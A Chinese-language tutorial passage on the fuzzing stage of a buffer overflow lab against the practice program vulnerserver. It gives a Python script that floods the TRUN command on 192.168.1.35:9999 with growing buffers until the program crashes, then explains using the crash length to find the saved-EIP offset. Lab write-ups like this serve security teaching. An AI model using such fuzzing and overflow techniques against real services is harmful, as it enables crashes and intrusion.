模糊测试

保持 vulnserver 和 Immunity Debugger 从 spiking 部分运行(使用管理员权限运行它们)。

尖峰攻击和模糊测试之间的区别在于,在尖峰攻击中,我们“攻击多个命令”以找到易受攻击的命令,而在模糊测试中,我们“攻击单个命令”(我们知道该命令是易受攻击的),以便构建有效的缓冲区溢出

Python 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
`#!/usr/bin/python
import sys, socket
from time import sleep

# Create the buffer of 'A' characters
buffer = "A" * 100

while True:
try:
# Build the payload by appending the TRUN command to the buffer
payload = "TRUN /.:/" + buffer

# Create, open, and connect to the socket (connecting to target)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.35',9999))

# Send the payload to target
print ("[+] Sending the payload...\n" + str(len(buffer)))
s.send(payload)

# Close connection and what 1 second
s.close()
sleep(1)

# (if we haven't crashed) increase buffer length by 100 bytes & try again
buffer = buffer + "A"*100
except:
# When the target crashes, print the number of bytes it took
print ("The fuzzing crashed at %s bytes" % str(len(buffer)))
sys.exit()`

在此脚本中,我们首先创建一个包含 100 个 A 字符的缓冲区。然后,我们启动一个 while 循环,其中我们的有效负载(TRUN 命令 + 我们的 buffer)通过线路发送到在 192.168.1.35:9999 运行的易受攻击的程序。

while 循环的每次迭代,我们都会发送有效负载,等待一秒钟,然后关闭连接,最后将缓冲区增加 100 个 A 字符。当程序崩溃时,except块将被触发。

通过将所有这些放入 try...except 中,我们使用易受攻击程序的崩溃作为我们已成功覆盖指令指针(保存的 EIP)的信号,就像我们在尖峰步骤中所做的那样。

这里的区别在于,当我们崩溃时,我们捕获字节总数(A字符)我们必须发送以便使程序崩溃。字节数将告诉我们从堆栈上的 TRUN 命令缓冲区到保存的 EIP 的偏移量。

为什么我们需要偏移量?

我们需要知道堆栈上的易受攻击的命令 TRUN 和保存的 EIP 之间的偏移量,因为我们的计划是用我们控制的地址覆盖 保存的 EIP 的精确地址。

当编译成二进制文件时,易受攻击的程序将在其运行的任何 (x86) 机器上“占用堆栈上相同数量的地址”,就像现在在我们易受攻击的机器上一样。所以偏移量是静态的。

一旦我们知道了偏移量,我们就可以使用与偏移量相同长度的有效负载来创建缓冲区溢出漏洞。在有效负载的末尾,我们放置要将 CPU 发送到的地址。最后,我们的有效负载将如下所示(将 name 替换为 TRUN):

我的关于基本缓冲区溢出的文章

运行脚本

脚本完成后,保存它并记住使用 chmod +x fuzz.py 为其授予执行权限。确保免疫调试器正在运行附加的易受攻击的程序并且也在运行,然后您可以执行fuzz.py

一旦崩溃(大约 2700 字节),我们可以在 Immunity 中检查崩溃情况:

我们可以看到 EIP 没有被覆盖,但这没关系。我们相信,由于程序崩溃,缓冲区长度(以字节为单位)足够长。那么让我们继续,使用大约 3000 字节的偏移量

[!资源]